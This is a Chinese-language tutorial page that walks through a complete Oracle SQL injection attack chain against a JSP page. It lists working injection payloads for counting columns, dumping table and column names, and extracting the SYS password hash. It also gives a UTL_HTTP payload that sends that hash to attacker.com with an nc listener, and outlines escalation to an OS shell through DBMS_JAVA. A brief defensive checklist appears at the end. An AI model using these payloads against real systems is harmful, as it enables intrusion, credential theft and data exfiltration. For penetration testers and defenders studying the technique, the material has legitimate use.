首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> Oracle 資料庫 >> Oracle 資料庫基礎

Oracle Web SQL Injection 實戰演練:從注入點發現到 Union/UTL_HTTP 獲取 Shell 完整攻擊鏈

     編輯:Oracle 資料庫基礎

實戰場景

目標頁面:list.jsp?username=loveshell
參數 username 存在字串型 SQL 注入,後端為 Oracle。

階段一:確認注入點與資料庫型別


-- 單引號觸發錯誤
list.jsp?username=loveshell'
-- 返回 ORA-01756 等錯誤 → 確認 Oracle

-- 字串連接測試
list.jsp?username=loveshell' AND ''||'1'='1 --  -- 正常
list.jsp?username=loveshell' AND ''||'2'='1 --  -- 返回空 (邏輯假)
list.jsp?username=loveshell' --  -- 正常 (註釋閉合)

結論:字串型注入,閉合方式 ' ... --。

階段二:Union 查詢欄位數與可回顯欄位定位


-- 猜欄位數
list.jsp?username=loveshell' ORDER BY 10 --  -- 錯誤
list.jsp?username=loveshell' ORDER BY 5 --   -- 正常
list.jsp?username=loveshell' ORDER BY 8 --   -- 錯誤
list.jsp?username=loveshell' ORDER BY 7 --   -- 正常
→ 結論:7 個欄位

-- 注意:若參數出現在多個 SQL 中且欄位數不一,ORDER BY 法失效,需改用 UTL_HTTP 外帶

階段三:構造 Union Payload 定位字串型欄位


-- 基礎 Union (全 NULL 通過類型檢查)
list.jsp?username=loveshell' AND 1=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL --

-- 逐個替換定位可回顯欄位
list.jsp?username=loveshell' AND 1=2 UNION SELECT 1,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL --  -- 正常 (第1欄為數字)
list.jsp?username=loveshell' AND 1=2 UNION SELECT 1,2,NULL,NULL,NULL,NULL,NULL FROM DUAL --  -- 錯誤 (第2欄非數字)
list.jsp?username=loveshell' AND 1=2 UNION SELECT 1,'2',NULL,NULL,NULL,NULL,NULL FROM DUAL --  -- 錯誤 (第2欄非字串)
list.jsp?username=loveshell' AND 1=2 UNION SELECT 1,NULL,'3',NULL,NULL,NULL,NULL FROM DUAL --  -- 正常且頁面顯示 "3"
→ 第 3 欄為可回顯字串型欄位!

階段四:利用可回顯欄位提取敏感數據

4.1 獲取 DBA_TABLES 記錄數 (驗證 DBA 權限)


list.jsp?username=loveshell' AND 1=2 UNION SELECT 1,
  TO_CHAR((SELECT COUNT(*) FROM DBA_TABLES),'0000000'),
  NULL,NULL,NULL,NULL,NULL FROM DUAL --

若返回數字 → 當前用戶具 DBA 權限或 SELECT ANY TABLE。

4.2 列舉所有表名 (分頁外帶)


-- 利用 ROWNUM 分頁
list.jsp?username=loveshell' AND 1=2 UNION SELECT 1,
  (SELECT table_name FROM (SELECT table_name, ROWNUM rn FROM all_tables) WHERE rn=1),
  NULL,NULL,NULL,NULL,NULL FROM DUAL --
-- 依序 rn=1,2,3... 遍歷所有表名

4.3 猜測敏感欄位 (密碼、信用卡等)


-- 針對疑似表 (如 USERS) 列舉欄位
list.jsp?username=loveshell' AND 1=2 UNION SELECT 1,
  (SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1),
  NULL,NULL,NULL,NULL,NULL FROM DUAL --
-- 尋找 PASSWORD, PWD, CREDIT_CARD 等關鍵字欄位

4.4 直接提取密碼雜湊 (若有權限)


list.jsp?username=loveshell' AND 1=2 UNION SELECT 1,
  (SELECT password FROM sys.user$ WHERE name='SYS'),
  NULL,NULL,NULL,NULL,NULL FROM DUAL --

階段五:UTL_HTTP 突破 Union 限制 (萬能外帶)

當 Union 受限 (多 SQL 欄位數不一、WAF 攔截 Union、欄位長度不足) 時:


-- 攻擊者監聽: nc -lvp 8080
list.jsp?username=loveshell' AND 1=2; 
  BEGIN 
    UTL_HTTP.REQUEST('https://attacker.com:8080/?data='||
      (SELECT password FROM sys.user$ WHERE name='SYS'));
  END; --

若在 PL/SQL 區塊中注入 (如 BEGIN ... END;),可直接執行多語句、DDL、UTL_FILE 寫檔、**獲取作業系統 Shell** (結合 Java 權限 DBMS_JAVA.GRANT_PERMISSION + Runtime.exec)。

階段六:從資料庫到作業系統 Shell (完整滲透)

  1. 確認 Java 權限:SELECT * FROM dba_java_policy WHERE grantee='PUBLIC' AND type='java.io.FilePermission'
  2. 授予執行權限 (需 DBA):CALL DBMS_JAVA.GRANT_PERMISSION('PUBLIC','java.io.FilePermission','/tmp/*','read,write,execute')
  3. 建立 Java Wrapper 執行 OS 命令
  4. 透過注入呼叫 Java 類 → 反彈 Shell / 寫入 Webshell / 新增帳號

防禦檢核清單 (開發/營運必做)

  • [ ] 所有動態 SQL 改用 PreparedStatement 綁定變數
  • [ ] 應用帳號僅授 SELECT/INSERT/UPDATE/DELETE 特定表,**無 DBA、CREATE PROCEDURE、EXECUTE ANY PROCEDURE**
  • [ ] REVOKE EXECUTE ON UTL_HTTP FROM PUBLIC、UTL_FILE、DBMS_SQL、DBMS_LOB、DBMS_JAVA
  • [ ] 存儲過程預設 AUTHID CURRENT_USER (Invoker's Rights)
  • [ ] WAF 規則覆蓋 UTL_HTTP、DBMS_SQL、CHR(、||、BEGIN、EXECUTE IMMEDIATE
  • [ ] 錯誤頁面統一友善訊息,**不回顯 ORA-/PLS-/Stack Trace**
  • [ ] 定期滲透測試 (SQLMap Oracle tamper、手工驗證)
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved